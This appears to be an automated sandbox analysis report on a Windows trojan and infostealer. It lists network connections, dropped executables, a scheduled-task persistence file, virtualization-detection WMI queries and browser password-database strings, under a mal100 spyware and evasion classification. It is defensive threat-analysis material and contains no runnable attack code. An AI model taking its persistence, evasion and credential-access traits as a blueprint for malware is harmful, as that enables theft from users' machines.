Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50190 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50243 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50241 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50242 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50240 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 6693ff7180.exe, 00000012.00000002.2802281447.00000000010A2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_b306d131-7
Source: 6693ff7180.exe, 00000012.00000002.2802281447.00000000010A2000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_4b58faa4-d

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: EBAEBFIIEC.exe.0.dr	Static PE information: section name:
Source: EBAEBFIIEC.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.9.dr	Static PE information: section name:
Source: skotes.exe.9.dr	Static PE information: section name: .idata
Source: random[2].exe.12.dr	Static PE information: section name:
Source: random[2].exe.12.dr	Static PE information: section name: .idata
Source: 9c573f8941.exe.12.dr	Static PE information: section name:
Source: 9c573f8941.exe.12.dr	Static PE information: section name: .idata
Source: random[1].exe.12.dr	Static PE information: section name:
Source: random[1].exe.12.dr	Static PE information: section name: .idata
Source: random[1].exe.12.dr	Static PE information: section name:
Source: 3e3be1ecc4.exe.12.dr	Static PE information: section name:
Source: 3e3be1ecc4.exe.12.dr	Static PE information: section name: .idata
Source: 3e3be1ecc4.exe.12.dr	Static PE information: section name:
Source: random[1].exe0.12.dr	Static PE information: section name:
Source: random[1].exe0.12.dr	Static PE information: section name: .idata
Source: random[1].exe0.12.dr	Static PE information: section name:
Source: 5a20612cd1.exe.12.dr	Static PE information: section name:
Source: 5a20612cd1.exe.12.dr	Static PE information: section name: .idata
Source: 5a20612cd1.exe.12.dr	Static PE information: section name:
Source: random[1].exe1.12.dr	Static PE information: section name:
Source: random[1].exe1.12.dr	Static PE information: section name: .idata
Source: random[1].exe1.12.dr	Static PE information: section name:
Source: 0882197cda.exe.12.dr	Static PE information: section name:
Source: 0882197cda.exe.12.dr	Static PE information: section name: .idata
Source: 0882197cda.exe.12.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57ED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C57ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5BB700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C5BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C5BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C55F280

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5535A0	0_2_6C5535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C545C	0_2_6C5C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C565440	0_2_6C565440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C595C10	0_2_6C595C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A2C10	0_2_6C5A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CAC00	0_2_6C5CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C542B	0_2_6C5C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57D4D0	0_2_6C57D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5664C0	0_2_6C5664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C596CF0	0_2_6C596CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55D4E0	0_2_6C55D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C566C80	0_2_6C566C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B34A0	0_2_6C5B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BC4A0	0_2_6C5BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57ED10	0_2_6C57ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C580512	0_2_6C580512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56FD00	0_2_6C56FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C590DD0	0_2_6C590DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B85F0	0_2_6C5B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C579E50	0_2_6C579E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C593E50	0_2_6C593E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A2E4E	0_2_6C5A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C574640	0_2_6C574640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55C670	0_2_6C55C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C6E63	0_2_6C5C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C597E10	0_2_6C597E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A5600	0_2_6C5A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B9E30	0_2_6C5B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55BEF0	0_2_6C55BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56FEF0	0_2_6C56FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C76E3	0_2_6C5C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C575E90	0_2_6C575E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BE680	0_2_6C5BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B4EA0	0_2_6C5B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C597710	0_2_6C597710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C569F00	0_2_6C569F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C586FF0	0_2_6C586FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55DFE0	0_2_6C55DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A77A0	0_2_6C5A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C578850	0_2_6C578850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57D850	0_2_6C57D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59F070	0_2_6C59F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C567810	0_2_6C567810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59B820	0_2_6C59B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A4820	0_2_6C5A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C50C7	0_2_6C5C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57C0E0	0_2_6C57C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5958E0	0_2_6C5958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5860A0	0_2_6C5860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C57A940	0_2_6C57A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AB970	0_2_6C5AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CB170	0_2_6C5CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56D960	0_2_6C56D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C595190	0_2_6C595190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B2990	0_2_6C5B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C58D9B0	0_2_6C58D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55C9A0	0_2_6C55C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C599A60	0_2_6C599A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C598AC0	0_2_6C598AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C571AF0	0_2_6C571AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59E2F0	0_2_6C59E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CBA90	0_2_6C5CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56CAB0	0_2_6C56CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C2AB0	0_2_6C5C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5522A0	0_2_6C5522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C584AA0	0_2_6C584AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C555340	0_2_6C555340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C56C370	0_2_6C56C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C59D320	0_2_6C59D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C53C8	0_2_6C5C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C55F380	0_2_6C55F380
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_005B7049	9_2_005B7049
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_005B8860	9_2_005B8860
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_005B78BB	9_2_005B78BB
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_00688101	9_2_00688101
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_005B31A8	9_2_005B31A8
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_00574B30	9_2_00574B30
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_005B2D10	9_2_005B2D10
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_00574DE0	9_2_00574DE0
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_005A7F36	9_2_005A7F36
Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: 9_2_005B779B	9_2_005B779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00FC78BB	10_2_00FC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00FC8860	10_2_00FC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00FC7049	10_2_00FC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00FC31A8	10_2_00FC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00F84B30	10_2_00F84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00F84DE0	10_2_00F84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00FC2D10	10_2_00FC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00FC779B	10_2_00FC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 10_2_00FB7F36	10_2_00FB7F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00FC78BB	11_2_00FC78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00FC8860	11_2_00FC8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00FC7049	11_2_00FC7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00FC31A8	11_2_00FC31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00F84B30	11_2_00F84B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00F84DE0	11_2_00F84DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00FC2D10	11_2_00FC2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00FC779B	11_2_00FC779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 11_2_00FB7F36	11_2_00FB7F36
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D0FD00	13_3_04D0FD00
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D0DF87	13_3_04D0DF87
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D19706	13_3_04D19706
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D03120	13_3_04D03120
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D022C0	13_3_04D022C0
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D0E2C9	13_3_04D0E2C9
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D14AEE	13_3_04D14AEE
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D0AA90	13_3_04D0AA90
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D15219	13_3_04D15219
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: 13_3_04D04350	13_3_04D04350

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Documents\EBAEBFIIEC.exe	Code function: String function: 005880C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C58CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C5994D0 appears 90 times
Source: C:\Users\user\AppData\Local\Temp\1013504001\3e3be1ecc4.exe	Code function: String function: 04D09B60 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00F9DF80 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00F980C0 appears 260 times

Source: random[1].exe.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 3e3be1ecc4.exe.12.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: file.exe, 00000000.00000002.2220844676.000000000C319000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameCmd.Exe.MUIv vs file.exe
Source: file.exe, 00000000.00000002.2226297270.000000006C7D5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2225932171.000000006C5E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: xokcbvfd ZLIB complexity 0.9945959834806712
Source: random[1].exe0.12.dr	Static PE information: Section: ZLIB complexity 0.9976616565743944
Source: random[1].exe0.12.dr	Static PE information: Section: rmyngibq ZLIB complexity 0.9944709241207951
Source: 5a20612cd1.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9976616565743944
Source: 5a20612cd1.exe.12.dr	Static PE information: Section: rmyngibq ZLIB complexity 0.9944709241207951
Source: random[1].exe1.12.dr	Static PE information: Section: xokcbvfd ZLIB complexity 0.9945959834806712
Source: 0882197cda.exe.12.dr	Static PE information: Section: xokcbvfd ZLIB complexity 0.9945959834806712

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@102/48@59/17

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C5B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\MF23BC98.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4108:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6584:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1384:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3916:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6704:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7528:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1732:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5428:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\1013505001\5a20612cd1.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5868:64:WilError_03

Source: C:\Users\user\Documents\EBAEBFIIEC.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.2217516520.00000000062E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2225176818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2226169893.000000006C78F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: file.exe, 00000000.00000002.2217516520.00000000062E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2225176818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2226169893.000000006C78F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2217516520.00000000062E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2225176818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2226169893.000000006C78F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2217516520.00000000062E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2225176818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2226169893.000000006C78F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: file.exe, 00000000.00000002.2217516520.00000000062E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2225176818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2226169893.000000006C78F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2217516520.00000000062E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2225176818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2217516520.00000000062E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2225176818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2226169893.000000006C78F000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000003.1958815332.00000000061D4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2217516520.00000000062E2000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2225176818.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
